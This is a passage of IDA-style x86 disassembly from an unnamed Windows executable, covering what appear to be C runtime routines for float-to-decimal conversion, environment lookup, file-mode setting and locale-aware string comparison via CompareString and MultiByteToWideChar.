		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41F232
		mov	[ebp+arg_C], ecx

loc_41F1E5:				; CODE XREF: sub_41F004+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41EA11
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA11
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41E9B3
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA11
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41F1E5
		mov	eax, [ebp+arg_14]

loc_41F232:				; CODE XREF: sub_41F004+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41F26F

loc_41F23F:				; CODE XREF: sub_41F004+248j
		cmp	eax, ecx
		jb	short loc_41F252
		cmp	byte ptr [eax],	39h
		jnz	short loc_41F24E
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41F23F
; ---------------------------------------------------------------------------

loc_41F24E:				; CODE XREF: sub_41F004+242j
		cmp	eax, ecx
		jnb	short loc_41F256

loc_41F252:				; CODE XREF: sub_41F004+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_41F256:				; CODE XREF: sub_41F004+24Cj
		inc	byte ptr [eax]

loc_41F258:				; CODE XREF: sub_41F004+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_41F267:				; CODE XREF: sub_41F004+F0j
		mov	eax, [ebp+var_4]

loc_41F26A:				; CODE XREF: sub_41F004+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41F26F:				; CODE XREF: sub_41F004+239j
					; sub_41F004+275j
		cmp	eax, ecx
		jb	short loc_41F27F
		cmp	byte ptr [eax],	30h
		jnz	short loc_41F27B
		dec	eax
		jmp	short loc_41F26F
; ---------------------------------------------------------------------------

loc_41F27B:				; CODE XREF: sub_41F004+272j
		cmp	eax, ecx
		jnb	short loc_41F258

loc_41F27F:				; CODE XREF: sub_41F004+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_41F28E:				; CODE XREF: sub_41F004+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41F26A
sub_41F004	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F297	proc near		; CODE XREF: sub_41AB9C+3423p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41F2FE
		dec	eax
		dec	eax
		jz	short loc_41F2EF
		sub	eax, 4
		jz	short loc_41F2EF
		sub	eax, 3
		jz	short loc_41F2EF
		sub	eax, 4
		jz	short loc_41F2E2
		sub	eax, 6
		jz	short loc_41F2D5
		dec	eax
		jz	short loc_41F2C8
		or	eax, 0FFFFFFFFh
		jmp	loc_41F3C0
; ---------------------------------------------------------------------------

loc_41F2C8:				; CODE XREF: sub_41F297+27j
		mov	esi, dword_46976C
		mov	eax, offset dword_46976C
		jmp	short loc_41F309
; ---------------------------------------------------------------------------

loc_41F2D5:				; CODE XREF: sub_41F297+24j
		mov	esi, dword_469768
		mov	eax, offset dword_469768
		jmp	short loc_41F309
; ---------------------------------------------------------------------------

loc_41F2E2:				; CODE XREF: sub_41F297+1Fj
		mov	esi, dword_469770
		mov	eax, offset dword_469770
		jmp	short loc_41F309
; ---------------------------------------------------------------------------

loc_41F2EF:				; CODE XREF: sub_41F297+10j
					; sub_41F297+15j ...
		push	edi
		call	sub_41F3C4
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41F309
; ---------------------------------------------------------------------------

loc_41F2FE:				; CODE XREF: sub_41F297+Cj
		mov	esi, dword_469764
		mov	eax, offset dword_469764

loc_41F309:				; CODE XREF: sub_41F297+3Cj
					; sub_41F297+49j ...
		cmp	esi, 1
		jnz	short loc_41F315
		xor	eax, eax
		jmp	loc_41F3C0
; ---------------------------------------------------------------------------

loc_41F315:				; CODE XREF: sub_41F297+75j
		test	esi, esi
		jnz	short loc_41F320
		push	3
		call	sub_417838

loc_41F320:				; CODE XREF: sub_41F297+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41F332
		cmp	edi, 0Bh
		jz	short loc_41F332
		cmp	edi, 4
		jnz	short loc_41F358

loc_41F332:				; CODE XREF: sub_41F297+8Fj
					; sub_41F297+94j
		mov	ebx, dword_469544
		and	dword_469544, 0
		cmp	edi, ecx
		jnz	short loc_41F387
		mov	edx, dword_4383CC
		mov	dword_4383CC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41F35B
; ---------------------------------------------------------------------------

loc_41F358:				; CODE XREF: sub_41F297+99j
		mov	ebx, [ebp+arg_0]

loc_41F35B:				; CODE XREF: sub_41F297+BFj
		cmp	edi, ecx
		jnz	short loc_41F387
		mov	eax, dword_4383C0
		mov	ecx, dword_4383C4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41F38E
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:438350h[edx*4]

loc_41F37C:				; CODE XREF: sub_41F297+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41F37C
		jmp	short loc_41F38E
; ---------------------------------------------------------------------------

loc_41F387:				; CODE XREF: sub_41F297+AAj
					; sub_41F297+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41F39C

loc_41F38E:				; CODE XREF: sub_41F297+D7j
					; sub_41F297+EEj
		push	dword_4383CC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_41F3AA
; ---------------------------------------------------------------------------

loc_41F39C:				; CODE XREF: sub_41F297+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41F3AA
		cmp	edi, 4
		jnz	short loc_41F3BD

loc_41F3AA:				; CODE XREF: sub_41F297+103j
					; sub_41F297+10Cj
		cmp	edi, 8
		mov	dword_469544, ebx
		jnz	short loc_41F3BD
		mov	eax, [ebp+arg_0]
		mov	dword_4383CC, eax

loc_41F3BD:				; CODE XREF: sub_41F297+111j
					; sub_41F297+11Cj
		xor	eax, eax
		pop	ebx

loc_41F3C0:				; CODE XREF: sub_41F297+2Cj
					; sub_41F297+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41F297	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F3C4	proc near		; CODE XREF: sub_41F297+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4383C8
		cmp	dword_43834C, edx
		push	esi
		mov	eax, offset dword_438348
		jz	short loc_41F3F2
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:438348h[esi*4]

loc_41F3E6:				; CODE XREF: sub_41F3C4+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F3F2
		cmp	[eax+4], edx
		jnz	short loc_41F3E6

loc_41F3F2:				; CODE XREF: sub_41F3C4+16j
					; sub_41F3C4+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:438348h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F406
		cmp	[eax+4], edx
		jz	short locret_41F408

loc_41F406:				; CODE XREF: sub_41F3C4+3Bj
		xor	eax, eax

locret_41F408:				; CODE XREF: sub_41F3C4+40j
		retn
sub_41F3C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F409	proc near		; CODE XREF: sub_41E162+23p

arg_0		= dword	ptr  4

		cmp	dword_46AB08, 0
		push	ebx
		push	esi
		mov	esi, dword_4694BC
		push	edi
		jz	short loc_41F480
		test	esi, esi
		jnz	short loc_41F43A
		cmp	dword_4694C4, esi
		jz	short loc_41F480
		call	sub_41F7D7
		test	eax, eax
		jnz	short loc_41F480
		mov	esi, dword_4694BC
		test	esi, esi
		jz	short loc_41F480

loc_41F43A:				; CODE XREF: sub_41F409+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41F480
		push	ebx
		call	sub_415CF0
		pop	ecx
		mov	edi, eax

loc_41F44B:				; CODE XREF: sub_41F409+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41F480
		push	eax
		call	sub_415CF0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41F473
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41F473
		push	edi
		push	ebx
		push	eax
		call	sub_41F798
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F478

loc_41F473:				; CODE XREF: sub_41F409+51j
					; sub_41F409+59j
		add	esi, 4
		jmp	short loc_41F44B
; ---------------------------------------------------------------------------

loc_41F478:				; CODE XREF: sub_41F409+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41F482
; ---------------------------------------------------------------------------

loc_41F480:				; CODE XREF: sub_41F409+10j
					; sub_41F409+1Cj ...
		xor	eax, eax

loc_41F482:				; CODE XREF: sub_41F409+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41F409	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F486	proc near		; CODE XREF: sub_41E84C+8Bp
					; sub_41E84C+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_46A8C0
		jnb	short loc_41F4ED
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46A7C0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41F4ED
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41F4C6
		and	cl, 7Fh
		jmp	short loc_41F4D3
; ---------------------------------------------------------------------------

loc_41F4C6:				; CODE XREF: sub_41F486+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41F4E1
		or	cl, 80h

loc_41F4D3:				; CODE XREF: sub_41F486+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41F4E1:				; CODE XREF: sub_41F486+48j
		mov	dword_469494, 16h
		jmp	short loc_41F4F7
; ---------------------------------------------------------------------------

loc_41F4ED:				; CODE XREF: sub_41F486+Bj
					; sub_41F486+27j
		mov	dword_469494, 9

loc_41F4F7:				; CODE XREF: sub_41F486+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F486	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F4FC	proc near		; CODE XREF: sub_41F004+165p
					; sub_41F71C+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41F6FC
		cmp	cx, 7FFFh
		jnb	loc_41F6FC
		cmp	dx, 0BFFDh
		ja	loc_41F6FC
		cmp	dx, 3FBFh
		ja	short loc_41F565
		xor	eax, eax
		jmp	short loc_41F59F
; ---------------------------------------------------------------------------

loc_41F565:				; CODE XREF: sub_41F4FC+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41F587
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41F587
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41F589
		cmp	[esi], eax
		jnz	short loc_41F589
		jmp	loc_41F6F6
; ---------------------------------------------------------------------------

loc_41F587:				; CODE XREF: sub_41F4FC+71j
					; sub_41F4FC+79j
		xor	eax, eax

loc_41F589:				; CODE XREF: sub_41F4FC+80j
					; sub_41F4FC+84j
		cmp	cx, ax
		jnz	short loc_41F5AC
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41F5AC
		cmp	[ebx+4], eax
		jnz	short loc_41F5AC
		cmp	[ebx], eax
		jnz	short loc_41F5AC

loc_41F59F:				; CODE XREF: sub_41F4FC+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41F717
; ---------------------------------------------------------------------------

loc_41F5AC:				; CODE XREF: sub_41F4FC+90j
					; sub_41F4FC+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_41F5BC:				; CODE XREF: sub_41F4FC+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41F610
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_41F5D8:				; CODE XREF: sub_41F4FC+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F603
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_41F603:				; CODE XREF: sub_41F4FC+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41F5D8

loc_41F610:				; CODE XREF: sub_41F4FC+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41F5BC
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41F653

loc_41F62E:				; CODE XREF: sub_41F4FC+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41F64C
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41EA11
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41F62E

loc_41F64C:				; CODE XREF: sub_41F4FC+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41F68C

loc_41F653:				; CODE XREF: sub_41F4FC+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41F68C
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_41F66C:				; CODE XREF: sub_41F4FC+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41F675
		inc	[ebp+var_14]

loc_41F675:				; CODE XREF: sub_41F4FC+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41EA3F
		dec	ebx
		pop	ecx
		jnz	short loc_41F66C
		cmp	[ebp+var_14], 0
		jz	short loc_41F68C
		or	byte ptr [ebp+var_24], 1

loc_41F68C:				; CODE XREF: sub_41F4FC+155j
					; sub_41F4FC+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41F6A3
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41F6D8

loc_41F6A3:				; CODE XREF: sub_41F4FC+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41F6D5
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41F6D0
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41F6CA
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41F6D8
; ---------------------------------------------------------------------------

loc_41F6CA:				; CODE XREF: sub_41F4FC+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41F6D8
; ---------------------------------------------------------------------------

loc_41F6D0:				; CODE XREF: sub_41F4FC+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41F6D8
; ---------------------------------------------------------------------------

loc_41F6D5:				; CODE XREF: sub_41F4FC+1ABj
		inc	[ebp+var_24+2]

loc_41F6D8:				; CODE XREF: sub_41F4FC+1A5j
					; sub_41F4FC+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41F6FC
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_41F6F6:				; CODE XREF: sub_41F4FC+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41F717
; ---------------------------------------------------------------------------

loc_41F6FC:				; CODE XREF: sub_41F4FC+42j
					; sub_41F4FC+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_41F717:				; CODE XREF: sub_41F4FC+ABj
					; sub_41F4FC+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F4FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F71C	proc near		; CODE XREF: sub_41EB33+440p
					; sub_41F004+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_438840
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41F795
		jge	short loc_41F744
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_4389A0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_41F744:				; CODE XREF: sub_41F71C+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41F74F
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_41F74F:				; CODE XREF: sub_41F71C+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_41F795
		push	esi
		push	edi

loc_41F756:				; CODE XREF: sub_41F71C+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41F78E
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_41F781
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_41F781:				; CODE XREF: sub_41F71C+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41F4FC
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_41F78E:				; CODE XREF: sub_41F71C+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41F756
		pop	edi
		pop	esi

loc_41F795:				; CODE XREF: sub_41F71C+14j
					; sub_41F71C+36j
		pop	ebx
		leave
		retn
sub_41F71C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F798	proc near		; CODE XREF: sub_41F409+5Ep
					; sub_41FC49+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41F7A5
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41F7A5:				; CODE XREF: sub_41F798+7j
		push	dword_46A8C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_46AAE4
		call	sub_41F845
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F7D2
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41F7D2:				; CODE XREF: sub_41F798+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41F798	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F7D7	proc near		; CODE XREF: sub_41F409+1Ep
					; sub_41FAC2+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4694C4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41F838
		mov	ebx, dword_421138

loc_41F7F0:				; CODE XREF: sub_41F7D7+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41F840
		push	ebp
		call	sub_415DC9
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41F840
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41F840
		push	edi
		push	[esp+18h+var_4]
		call	sub_41FAC2
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41F7F0

loc_41F838:				; CODE XREF: sub_41F7D7+11j
		xor	eax, eax

loc_41F83A:				; CODE XREF: sub_41F7D7+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41F840:				; CODE XREF: sub_41F7D7+29j
					; sub_41F7D7+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F83A
sub_41F7D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F845	proc near		; CODE XREF: sub_41F798+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421C20
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_469778, ebx
		push	1
		pop	edi
		jnz	short loc_41F8B8
		push	edi
		mov	eax, offset dword_421870
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_421008	; CompareStringW
		test	eax, eax
		jz	short loc_41F895
		mov	dword_469778, edi
		jmp	short loc_41F8B8
; ---------------------------------------------------------------------------

loc_41F895:				; CODE XREF: sub_41F845+46j
		push	edi
		mov	eax, offset dword_438FD4
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42100C	; CompareStringA
		test	eax, eax
		jz	loc_41FAAE
		mov	dword_469778, 2

loc_41F8B8:				; CODE XREF: sub_41F845+31j
					; sub_41F845+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_41F8CF
		push	esi
		push	[ebp+arg_8]
		call	sub_41BF95
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_41F8CF:				; CODE XREF: sub_41F845+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41F8E4
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41BF95
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_41F8E4:				; CODE XREF: sub_41F845+8Dj
		mov	eax, dword_469778
		cmp	eax, 2
		jnz	short loc_41F909
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42100C	; CompareStringA
		jmp	loc_41FAB0
; ---------------------------------------------------------------------------

loc_41F909:				; CODE XREF: sub_41F845+A7j
		cmp	eax, edi
		jnz	loc_41FAAE
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41F91E
		mov	eax, dword_469538
		mov	[ebp+arg_18], eax

loc_41F91E:				; CODE XREF: sub_41F845+CFj
		cmp	esi, ebx
		jz	short loc_41F92B
		cmp	[ebp+arg_14], ebx
		jnz	loc_41F9C3

loc_41F92B:				; CODE XREF: sub_41F845+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_41F938

loc_41F930:				; CODE XREF: sub_41F845+13Cj
					; sub_41F845+16Dj
		push	2

loc_41F932:				; CODE XREF: sub_41F845+146j
		pop	eax
		jmp	loc_41FAB0
; ---------------------------------------------------------------------------

loc_41F938:				; CODE XREF: sub_41F845+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41F944

loc_41F93D:				; CODE XREF: sub_41F845+151j
					; sub_41F845+159j ...
		mov	eax, edi
		jmp	loc_41FAB0
; ---------------------------------------------------------------------------

loc_41F944:				; CODE XREF: sub_41F845+F6j
		cmp	esi, edi
		jg	short loc_41F989
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_421194	; GetCPInfo
		test	eax, eax
		jz	loc_41FAAE
		cmp	esi, ebx
		jle	short loc_41F98D
		cmp	[ebp+var_3C], 2
		jb	short loc_41F989
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41F989

loc_41F96F:				; CODE XREF: sub_41F845+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41F989
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41F983
		cmp	cl, dl
		jbe	short loc_41F930

loc_41F983:				; CODE XREF: sub_41F845+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F96F

loc_41F989:				; CODE XREF: sub_41F845+101j
					; sub_41F845+120j ...
		push	3
		jmp	short loc_41F932
; ---------------------------------------------------------------------------

loc_41F98D:				; CODE XREF: sub_41F845+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_41F9C3
		cmp	[ebp+var_3C], 2
		jb	short loc_41F93D
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41F93D

loc_41F9A0:				; CODE XREF: sub_41F845+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41F93D
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41F9B8
		cmp	cl, dl
		jbe	loc_41F930

loc_41F9B8:				; CODE XREF: sub_41F845+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F9A0
		jmp	loc_41F93D
; ---------------------------------------------------------------------------

loc_41F9C3:				; CODE XREF: sub_41F845+E0j
					; sub_41F845+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_41FAAE
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41FA12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_41FA12:				; CODE XREF: sub_41F845+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_41FAAE
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_421064
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41FAAE
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
